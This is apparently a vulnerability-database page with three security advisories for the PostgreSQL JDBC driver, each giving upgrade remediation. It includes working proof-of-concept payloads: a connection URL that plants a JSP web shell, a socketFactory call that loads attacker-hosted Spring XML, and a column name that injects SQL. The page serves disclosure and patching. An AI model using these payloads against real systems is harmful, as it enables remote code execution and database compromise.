Find, fix and prevent vulnerabilities in your code.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Arbitrary Code Injection. DISPUTED

When an arbitrary filename is specified in the loggerFileName connection parameter jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>, a valid JSP file is created and a Remote Code Execution could be performed.

Note: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.

Remediation

Upgrade org.postgresql:postgresql to version 42.3.3 or higher.

References

• GitHub Commit

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when using certain plugin features. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, and sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

PoC

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

Remediation

Upgrade org.postgresql:postgresql to version 42.2.25, 42.3.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection via the java.sql.ResultRow.refreshRow() function in jdbc/PgResultSet.java, due to insufficient escaping column names. An attacker with control of the underlying database can name a column with a string containing a semicolon or other statement terminator, then convince a user to run a query against the table with the compromised column, and then have the application run ResultSet.refreshRow(), to execute code.

NOTE:

• An application that only connects to its own database with a fixed schema with no DDL permissions is not affected by this vulnerability.
• Additionally, applications that do not invoke ResultSet.refreshRow() are not affected.

PoC:

CREATE TABLE refresh_row_example (
  id     int PRIMARY KEY,
  "1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);

Remediation

Upgrade org.postgresql:postgresql to version 42.2.26, 42.3.7, 42.4.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit